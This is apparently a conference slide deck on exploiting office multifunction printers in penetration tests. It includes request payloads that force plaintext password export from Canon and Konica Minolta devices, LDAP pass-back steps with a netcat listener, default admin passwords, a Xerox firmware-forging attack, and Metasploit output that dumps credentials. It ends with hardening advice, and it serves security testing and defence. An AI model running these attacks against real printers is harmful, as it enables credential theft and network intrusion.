Plunder Pillage & Print

THE ART OF LEVERAGING MULTIFUNCTION PRINTERS DURING PENETRATION TESTING

Deral Heiland
deral_heiland@rapid7.com
@Percent_x

Pete Arzamendi
peter_arzamendi@rapid7.com
@TheBokojan
Introduction

- Deral Heiland “@Percent_X”
  - Senior Security Consultant Rapid7
  - Dayton, Ohio
  - 20+ years IT
  - 6+ years consultant/pentester

- Pete Arzamendi “@thebokojan”
  - Senior Security Consultant Rapid7
  - Austin, TX
  - 14+ year IT
  - 5+ years consultant/pentester
Agenda

- Multifunction Printers (MFP) attack vector
- Attack Examples
- Automating the attacks
- Reducing the risk
So Why Multi-Function Printer
What is it that all pentesters want

USERNAMES

PASSWORDS

Which leads to shell
So Why Multi-Function Printer

• Since becoming the printer security evangelist

  • 2010 printer hacking success during pentesting
    ▪ Gain access to Windows active directory user account less then 10-15%
    ▪ Gained domain admin creds rarely

  • 2014 printer hacking success during pentesting
    ▪ Gain access to Windows active directory user account 45-50%+
      – Which leads to gaining Domain Admin access 25-30%
    ▪ Gain direct domain admin creds > 5%
So Why Multi-Function Printer

- How is this possible
  - Usage tracking
  - Scan to email
  - Scan to file
  - LDAP authentication
  - Remote firmware upgrades

- Printer need access to credentials for these features to work correctly

- So let us Plunder Pillage & Print our way to SHELL
Plunder
**Plunder**

**plun·der**
[pluhn-der]

1. To rob of goods or valuables by open *force*, as in war, hostile raids, brigandage, etc.: to plunder a town.

2. To rob, despoil, or fleece: to plunder the public treasury.
• Pulling user data
• What kind of data can we get that will help with the assessment?
  • Usernames
  • Applications
  • Hostnames
Examples:

Dell

Gives up usernames, applications, and client hostname

Xerox

Gives up usernames and applications

HP

Gives up usernames and applications
Dell Exposing Usernames, Applications, and Hostnames

Dell MFP Laser 3115cn
IP Address: 192.168.35.56
Location: [Location Information]
Contact Person: [Contact Person Information]

Printer Status
Printer Jobs
Printer Settings
Print Server Settings
Copy Printer Settings
Print Volume
Address Book
Printer Information
Tray Settings
E-Mail Alert
Set Password
Online Help
Order Supplies at: www.dell.com/supplies
Contact Dell Support at: support.dell.com

Completed Jobs - 

<table>
<thead>
<tr>
<th>ID</th>
<th>Job Name</th>
<th>Other</th>
<th>Hostname</th>
<th>Output Result</th>
<th>Job Type</th>
<th>Impression Number</th>
<th>No. of Sheets</th>
<th>Host I/F</th>
<th>Job Submitted Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10313</td>
<td>Copy</td>
<td></td>
<td></td>
<td>Completed</td>
<td>Copy</td>
<td>1</td>
<td>1</td>
<td></td>
<td>2014/04/08 14:31:00</td>
</tr>
<tr>
<td>10313</td>
<td>Microsoft Outlook - Memo Style</td>
<td>mbolton</td>
<td>PRTSRV01</td>
<td>Completed</td>
<td>Print</td>
<td>3</td>
<td>3</td>
<td>LPD</td>
<td>2014/04/14 12:29:00</td>
</tr>
<tr>
<td>10313</td>
<td>file://C:/Users/ mbolster/AppData</td>
<td>mbolster</td>
<td>PRTSRV01</td>
<td>Completed</td>
<td>Print</td>
<td>4</td>
<td>4</td>
<td>LPD</td>
<td>2014/04/14 12:28:00</td>
</tr>
<tr>
<td>10313</td>
<td>Microsoft Word - Document</td>
<td>jrichardson</td>
<td>PRTSRV01</td>
<td>Completed</td>
<td>Print</td>
<td>2</td>
<td>2</td>
<td>LPD</td>
<td>2014/04/14 13:11:00</td>
</tr>
<tr>
<td>10317</td>
<td>Copy</td>
<td></td>
<td></td>
<td>Completed</td>
<td>Copy</td>
<td>1</td>
<td>1</td>
<td></td>
<td>2014/04/14 12:44:00</td>
</tr>
<tr>
<td>10317</td>
<td>Copy</td>
<td></td>
<td></td>
<td>Completed</td>
<td>Copy</td>
<td>12</td>
<td>12</td>
<td></td>
<td>2014/04/16 13:48:00</td>
</tr>
<tr>
<td>10319</td>
<td>Copy</td>
<td></td>
<td></td>
<td>Cancelled</td>
<td>Copy</td>
<td>21</td>
<td>21</td>
<td></td>
<td>2014/04/16 14:57:00</td>
</tr>
</tbody>
</table>

RAPID7
## Xerox Exposing Usernames and Applications

### CentreWare Internet Services

#### Xerox WorkCentre 4260

### Active Jobs

<table>
<thead>
<tr>
<th>Job Name</th>
<th>Owner</th>
<th>Status</th>
<th>Type</th>
<th>Copy Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Crystal Reports ActiveX Designer</td>
<td></td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>1</td>
</tr>
<tr>
<td>Microsoft Word</td>
<td></td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>2</td>
</tr>
<tr>
<td>Microsoft Word</td>
<td></td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>2</td>
</tr>
<tr>
<td>Crystal Reports ActiveX Designer</td>
<td>Dannyp</td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>1</td>
</tr>
<tr>
<td>Crystal Reports ActiveX Designer</td>
<td>Lisab</td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>2</td>
</tr>
<tr>
<td>Crystal Reports ActiveX Designer</td>
<td>Juan</td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>1</td>
</tr>
<tr>
<td>Crystal Reports ActiveX Designer</td>
<td>Mikej</td>
<td>Held: Secure Print</td>
<td>PRINT</td>
<td>1</td>
</tr>
</tbody>
</table>

**Name:** Xerox-4260  
**IP Address:** 10.0.1.6  
**Location:** Power Save

Copyright © Xerox Corporation 1997-2009. All rights reserved.
### HP Color LaserJet CP4005 Printers

**Color Usage Job Log**

**Printer Information**
- **Printer Name:** HP Color LaserJet CP4005
- **Serial Number:**

**Usage Totals**
- Total Jobs in log: 32
- Total mono sides: 7
- Total color sides: 48
- Total sheets: 55

**Job Log**

<table>
<thead>
<tr>
<th>Date/Time</th>
<th>User</th>
<th>Job</th>
<th>Application</th>
<th>Mono Sides</th>
<th>Color Sides</th>
<th>Total Sheets</th>
</tr>
</thead>
<tbody>
<tr>
<td>15 Mar 2014 / 05:17 PM</td>
<td>Bsmith</td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>15 Mar 2014 / 05:16 PM</td>
<td>Dannyboy</td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>15 Mar 2014 / 05:20 PM</td>
<td>Lobster</td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>15 Mar 2014 / 02:16 PM</td>
<td>Jifty</td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 02:11 PM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 09:22 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 08:49 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 07:44 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 07:39 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 07:29 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 Mar 2014 / 07:32 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>13 Mar 2014 / 07:31 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>13 Mar 2014 / 07:30 AM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>12 Mar 2014 / 02:31 PM</td>
<td></td>
<td>Print driver host fo</td>
<td>0 0 1 1</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

---

**Other Links**
- hp instant support
- Shop for Supplies
- Product Support

**RAPID7**
Pillage
Pillage

pil·lage

verb (used with object), pil·laged, pil·lag·ing.

1. To strip ruthlessly of money or goods by open violence, as in war; plunder: The barbarians pillaged every conquered city.

2. To take as booty.

   verb (used without object), pil·laged, pil·lag·ing.

3. To rob with open violence; take booty: Soldiers roamed the countryside, pillaging.
- Pillage -

Address Book Extraction Attacks
Pillage

- Address books
  - User name
  - Email Addresses
  - Passwords

- Konica Minolta
- Canon IR-ADV
Canon IR-ADV

- Exported address books can contain password
  - Requires special setting

- Passwords by default are encrypted during export
  - Encryption settings are controlled on end user side
  - So encryption can be turned off (FAIL)
Pillage Canon ImageRunner Advanced

- Canon IR-ADV enable password export

[Image of settings page showing the check box for including password when exporting address book]
Pillage Canon ImageRunner Advanced

- Canon IR-ADV encrypt output password
Pillage Canon ImageRunner Advanced

- Canon IR-ADV address book export results

encrypted password encoded with base64 to allow transfer
Pillage Canon ImageRunner Advanced

- Canon IR-ADV captured address book post request

```
POST /rps/abook.abk HTTP/1.1
Host: 10.0.0.108:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.108:8000/rps/cimport.cgi
Cookie: sessionid=0a812eb1170595b09802d30bb25f68b5; portalLang=en; iR=4127469707
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

AID=1&ACLS=1&ENC_MODE=2&ENC_FILE=password&PASSWD=&PageFlag=&AMOD=&Dummy=1359047882596
```
Pillage Canon ImageRunner Advanced

• Canon IR-ADV captured address book request with web proxy

POST /rps/abook.abk HTTP/1.1
Host: 10.0.0.108:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.108:8000/rps/cimport.cgi
Cookie: sessionid=0a812eb1170595b09802d30bb25f68b5; portalLang=en; iR=4127469707
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

So what happens if we change to ENC_MODE=0

AID=1&ACLS=1&ENC_MODE=0&ENC_FILE=password&PASSWD=&PageFlag=&AMOD=&Dummy=1359047882596
• Pillage Canon ImageRunner Advanced

• Canon IR-ADV address book export results

Password extracted in plain text
• **Konica Minolta**
  - Exported address books can contain passwords
    - Not accessible via web console
    - Managed via Konica Management application
    - Soap message transactions
    - TCP Ports 50001 50003
Step 1: Authenticate and retrieve session key

```
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Header>
    <me:AppReqHeader
xmlns:me="http://www.konicaminolta.com/Header/OpenAPI-3-45">
      <ApplicationID xmlns=""/>0</ApplicationID>
      <UserName xmlns=""/></UserName>
      <Password xmlns=""/></Password>
      <Version xmlns="">
        <Major>3</Major>
        <Minor>45</Minor>
      </Version>
      <AppManagementID xmlns=""/></AppManagementID>
    </me:AppReqHeader>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <AppReqLogin
xmlns="http://www.konicaminolta.com/service/OpenAPI-3-45">
      <OperatorInfo>
        <UserType>Admin</UserType>
        <Password>12345678</Password>
      </OperatorInfo>
      <TimeOut>60</TimeOut>
    </AppReqLogin>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
Reply:
Valid authentication
Responds with AuthKey
Step 2:
Post request with Authkey Set and proper version

Pillage Konica Minolta

<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <SOAP-ENV:Header>
   <me:AppReqHeader
      xmlns:me='http://www.konicaminolta.com/Header/OpenAPI-3-4'>
     <ApplicationID xmlns="">0</ApplicationID>
     <UserName xmlns="">User1</UserName>
     <Password xmlns=""></Password>
     <Version xmlns="">
         <Major>3</Major>
         <Minor>4</Minor>
     </Version>
     <AppManagementID xmlns="">1000</AppManagementID>
   </me:AppReqHeader>
   <SOAP-ENV:Header>
     <SOAP-ENV:Body>
       <AppReqGetAbbr
          xmlns='http://www.konicaminolta.com/Service/OpenAPI-3-4'>
         <Operatorinfo>
           <AuthKey>P69WWCH9crWHJ7utxQAw</AuthKey>
         </Operatorinfo>
         <AbbrListCondition>
           <SearchKey>None</SearchKey>
           <WellUse>false</WellUse>
           <ObtainCondition>
             <Type>OffsetList</Type>
             <OffsetRange>
               <Start>1</Start>
               <Length>100</Length>
             </OffsetRange>
           </ObtainCondition>
           <BackUp>true</BackUp>
           <BackUpPassword>MYSKIMG5</BackUpPassword>
         </AbbrListCondition>
       </AppReqGetAbbr>
   </SOAP-ENV:Body>
 </SOAP-ENV:Header>
</SOAP-ENV:Envelope>
If all the pieces are correct the Konica will deliver data in plain text including:

- PASSWORDS

Effective in retrieving password for:

- SMTP
- SMB
- FTP

PWNED
- Pillage -

The Pass-back Attack
Pass-back-attacks

Target the printers authentication services

- LDAP
- FTP
- SMB (Windows file sharing)
- SMTP
Lets focus on the LDAP Pass-Back-Attack

PWNED

Change IP Address
Trigger LDAP lookup
Capture Plain Text Password

LDAP Auth
LDAP Reply

RAPID7
Example: Executing a pass-back-attack against a Xerox ColorQube 9303

1. Login as admin user (Most Xerox’s are configured with an admin password ... We’ll show you how to get this later...)
2. Access the ldap setting under Properties -> Connectivity -> Protocols
3. Change IP address to point to your system
4. Set up netcat listener on your system
5. Issue a search under User Mappings
Xerox LDAP Setup Screen

- LDAP Server IP address
- LDAP Configuration settings
- What we want to get!

Login Name: SVC_xerox
Password: [masked]

RAPID7
# Xerox User Mappings

## LDAP Server

### Server Information

- **IP Address**: `10.10.10.10` (Port: 389)
- **Backup IP Address**: `10.10.10.10` (Port: 389)
- **Search Directory Root**: `/` (LDAP Server)

### Search

**Enter Name**: 

**Search**

### User Mappings

<table>
<thead>
<tr>
<th>Properties</th>
<th>Imported Heading</th>
</tr>
</thead>
<tbody>
<tr>
<td>Login Name</td>
<td><code>uid</code></td>
</tr>
<tr>
<td>Name</td>
<td><code>cn</code></td>
</tr>
<tr>
<td>E-mail Address</td>
<td><code>mail</code></td>
</tr>
<tr>
<td>Business Phone</td>
<td><code>telephoneNumber</code></td>
</tr>
<tr>
<td>Business Address</td>
<td><code>postalAddress</code></td>
</tr>
<tr>
<td>Office</td>
<td><code>physicalDeliveryOfficeName</code></td>
</tr>
<tr>
<td>City</td>
<td><code>l</code></td>
</tr>
<tr>
<td>State</td>
<td><code>st</code></td>
</tr>
<tr>
<td>Zip Code</td>
<td><code>postalCode</code></td>
</tr>
<tr>
<td>Country</td>
<td><code>c</code></td>
</tr>
</tbody>
</table>

---

**RAPID7**
Xerox Passing the Credentials

PWNED

```
$ sudo netcat -l -p 389
Password:
```

- AD username: SVC_xerox
- Accounts password: gl
Sharp LDAP Pass-Back-Attack

Example: Executing a LDAP pass-back-attack against a Sharp MX-4101N

1. Login as admin user (Most Sharp’s are configured with an admin password of admin)
2. Access the LDAP setting under Network Settings
3. Change IP address to point to your system
4. Set up netcat listener on your system
5. Issue a test connection
Sharp LDAP Setup Screen

- Top Page
- Status
- Address Book
- Document Operations
- Job Programs
- User Control
- System Settings
- Network Settings
  - Quick Settings
  - General Settings
  - Protocol Settings
  - Services Settings
  - Print Port Settings
  - LDAP Settings
  - HTTP Access Settings
  - View Login User
- Application Settings
- E-mail Alert and Status
- Storage Backup
- Device Cloning
- Job Log
- Security Settings
- Custom Links
- Operation Manual Download
Sharp Passing the Credentials

# sudo nc -lkvn 389
administrator:Password10B
Print
print

verb (used with object).

1. To produce (a text, picture, etc.) by applying inked types, plates, blocks, or the like, to paper or other material either by direct pressure or indirectly by offsetting an image onto an intermediate roller.

2. To reproduce (a design or pattern) by engraving on a plate or block.

print

verb (used with object).

1. The evil take over of a printer for the purpose of pillaging and plundering, accomplished using a print job over port 9100.
Xerox Workcentre Firmware Attack
Firmware attacks attack against Xerox

- Xerox firmware files “.dlm” are simple Tar file with XRX job ticketing header

```
%%XR XB e g n
%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE
%%OID_ATT_JOB_SCHEDULING_OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE
%%OID_ATT_JOB_COMMENT "Copyright (c) 2010 Xerox Corporation. All Rights Reserved."
%%OID_ATT_JOB_COMMENT "upgrade Thu Mar 11 11:28:08 SGT 2010"
%%OID_ATT_DLM_NAME "sormbc4"
%%OID_ATT_DLM_VERSION "D1.0.1"
%%OID_ATT_DLM_SIGNATURE "b9365fd9b1da29e5d4ab0b8999185ce0661ad216cc2440d55126a4db5ead0f669"
%%OID_ATT_DLM_EXTRACTION_CRITERIA "upgradeExtract.sh /tmp/sormbc4.dnld"
%%XR X e nd
```
Extract a Xerox workcentra firmware you can find some interesting files

- `opt/nc/dlm_toolkit`
- `dlm_toolkit` is used to build DLM firmware packages and sign them

```
  drwxr-xr-x  6 percX  staff  204 Mar 10  2010 .
  drwxr-xr-x 13 percX  staff  442 Mar 10  2010 ..
  -rwxr-xr-x  1 percX  staff 25672 Mar 10  2010 dlm_maker
  -rwxr-xr-x  1 percX  staff  2627 Mar 10  2010 dlm_strip
  drwxr-xr-x  8 percX  staff  272 Mar 10  2010 keyfiles
  -rwxr-xr-x  1 percX  staff 43776 Mar 10  2010 sha256deep
```
Print

- dlm_maker application

where:

- n specifies the DLM name
- t specifies the DLM type (patch, upgrade, thirdpty, etc)
- c specifies to use the old checksum method instead of signatures. This can also be specified by the env. variable DLM_CHECKSUM being set to anything.
- i specifies a client ID string
  The default is the local user and hostname.
- v specifies the DLM version
  The default is to specify NO_DLM_VERSION_CHECK.
- o specifies the output filename.
  The default is to append '.dlm' to the content filename, removing '.tar' and '.tgz' extensions if found.
- p use tmp file for dlm validate ( -V )
- D specifies the DLM toolkit directory.
Demo Video
Print Job to Remote Root Shell
Detail white paper on Xerox firmware attack

http://h.foofus.net/goons/percx/Xerox_hack.pdf

Vulnerable Xerox Models

- WorkCentre Pro 232/238/245/255/265/275
- WorkCentre Pro C2128/C2636/C3545
- WorkCentre Pro M165/M175
- WorkCentre Pro 65/75/90
- WorkCentre M35/M45/M55
- WorkCentre 5632/5635/5645/5655/5665/5675
- WorkCentre 6400
- WorkCentre 7755/7765/7775
- ColorQube 9301/9302/9303

- WorkCentre 232/238/245/255/265/275
- WorkCentre Pro 165/175
- WorkCentre Pro 32/40 Color
- WorkCentre Pro 35/45/55
- WorkCentre 5030
- WorkCentre 5735/5740/5745
- WorkCentre 7655/7665/7675
- ColorQube 9201/9202/9203
Praeda+ Metasploit= Praedasploit
Praeda (Latin for *plunder, booty, spoils of war*)

Current Praeda version (Written in Perl)

Embedded device information harvesting tool
- Enumerate 103 devices/models
- Fingerprints devices using:
  1. Title page & server type
  2. SNMP
Praeda

How it works:

- Scan network for embedded systems
- Fingerprint embedded systems
- Run Preada modules based on fingerprint
- Gather data and log it
How we use it:

- One of the first tools we run on an assessment
- Use data harvested to gain foothold in environment
- Success rate is pretty darn good. :}

Praeda
Easier to maintain and less decency issues

Captured data can be stored within Metasploit’s database for later use (ex: psexec and brute force modules)

Large community base. Easier for users to contribute their own printer pwning modules
Modules we have created:
- Xerox LDAP pass-back module
- Konica address book extract module
- Dell and HP username extract module
Extraction of usernames from a HP Color LaserJet CP3505

Praedasploit module example

```
msf auxiliary(hp_cp35xx_user_enum) > show options

Module options (auxiliary/scanner/http/hp_cp35xx_user_enum):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxies</td>
<td></td>
<td>no</td>
<td>Use a proxy chain</td>
</tr>
<tr>
<td>RHOSTS</td>
<td>192.168.1.50</td>
<td>yes</td>
<td>The target address range or CIDR identifier</td>
</tr>
<tr>
<td>RPORT</td>
<td>80</td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td>yes</td>
<td>Negotiate SSL for outgoing connections</td>
</tr>
<tr>
<td>THREADS</td>
<td>1</td>
<td>yes</td>
<td>The number of concurrent threads</td>
</tr>
<tr>
<td>TIMEOUT</td>
<td>20</td>
<td>yes</td>
<td>Timeout for printer probe</td>
</tr>
<tr>
<td>VHOST</td>
<td></td>
<td>no</td>
<td>HTTP server virtual host</td>
</tr>
</tbody>
</table>

msf auxiliary(hp_cp35xx_user_enum) > run

[*] Attempting to enumerate usernames from: 140.192.98.246
[+] Found the following users: ["kabamz","jbanjo"]
[*] Credentials saved in: /root/.msf4/loot/20140603082006_default_192.168.1.50_hp.cp.usernames_695722.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Extracting Address books from Canon IR-ADV

```plaintext
msf auxiliary(canon_iradv_pwd_extract) > set RHOSTS 192.168.1.75
RHOSTS => 192.168.1.75.
msf auxiliary(canon_iradv_pwd_extract) > run

[*] Attempting to extract passwords from the address books on the MFP at 192.168.1.75.
[+] 192.168.1.75 SUCCESSFUL login with USER='7654321' : PASSWORD='7654321'
[*] # Canon AddressBook Version: 1
# CharSet: WCP1252
# SubAddressBookName: 
# DB Version: 0x0108

subdbid: 1
dn: 308
uuid: 0ad31031-eaf0-11e3-8008-00110fd31af1
cn:: siq778UP
cnread:: Sg=
url: \192.168.48.84\Users
path: \Public\SCAN
username: sysscan
pwd: cod3sc4n
pwdinputflag: false
accesscode: 0
protocol: smb
objectclass: top
objectclass: extensibleobject
objectclass: remotefilesystem

[*] Credentials saved in: /opt/metasploit/apps/pro/loot/20140603204632_192.168.1.75
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
# Praedasploit module example

## Extracting Address books from Konica Minolta

```bash
msf auxiliary(konica_minolta_pwd_extract) > show options

Module options (auxiliary/scanner/praeda/konica_minolta_pwd_extract):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PASSWD</td>
<td>12345678</td>
<td>yes</td>
<td>The default Admin password</td>
</tr>
<tr>
<td>Proxies</td>
<td>no</td>
<td></td>
<td>Use a proxy chain</td>
</tr>
<tr>
<td>RHOSTS</td>
<td>10.128.6.32</td>
<td>yes</td>
<td>The target address range or CIDR identifier</td>
</tr>
<tr>
<td>RPORT</td>
<td>50001</td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>SSL</td>
<td>False</td>
<td>yes</td>
<td>Negotiate SSL for outgoing connections</td>
</tr>
<tr>
<td>THREADS</td>
<td>1</td>
<td>yes</td>
<td>The number of concurrent threads</td>
</tr>
<tr>
<td>TIMEOUT</td>
<td>20</td>
<td>yes</td>
<td>Timeout for printer probe</td>
</tr>
<tr>
<td>USER</td>
<td>Admin</td>
<td>no</td>
<td>The default Admin user</td>
</tr>
<tr>
<td>VHOST</td>
<td></td>
<td>no</td>
<td>HTTP server virtual host</td>
</tr>
</tbody>
</table>

msf auxiliary(konica_minolta_pwd_extract) > run

[*] Attempting to extract username and password for the host at 10.128.6.32
[+] User=KonicaAdmin:Password=Gye$71Fw:Folder=/storage:ftp_host=10.128.6.85:SMB_host=
[+] User=KonicaAdmin:Password=Gye$71Fw:Folder=/storage:ftp_host=10.128.6.30:SMB_host=
[+] Credentials saved in: /opt/metasploit/apps/pro/loot/20140604112905_test_10.128.6.32_konica_pwds_406192.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Praedasploit module example

Extracting admin password from Xerox 5735

```ruby
msf auxiliary(xerox_console_pwd_enum) > run

[*] Attempting to extract admin console passwords on Xerox MFP at 192.168.50.21
[*] Sending print job

[*] Retrieving password from 192.168.50.21

[*] Extracted Password: 1111
[*] Removing print job

[*] Credentials saved in: /root/.msf4/loot/20140605144653_default_192.168.50.21_xerox.password_136428.txt
[*] Auxiliary module execution completed

msf auxiliary(xerox_console_pwd_enum) >
```
Praedasploit Future

- Additional Metasploit modules
- Embedded system scanning engine
  - Fingerprint embedded devices
  - The ability to call Metasploit modules
SECURING YOUR ENVIRONMENT
Securing Your Environment

• Change default password
  • Don’t match the default password schema

• Patch management

• Disable firmware upgrades

• Don’t expose to the Internet

• Functional isolation (Access Control Lists)
  • Payroll
  • HR
  • MFP management interface
Question?

Deral Heiland
Deral_heiland@rapid7.com
Twitter: @Percent_X

Pete Arzamendi
Pete_Arzamendi@rapid7.com
Twitter: @thebokojan

https://github.com/MooseDojo/
END OF THE WORLD AS WE KNOW IT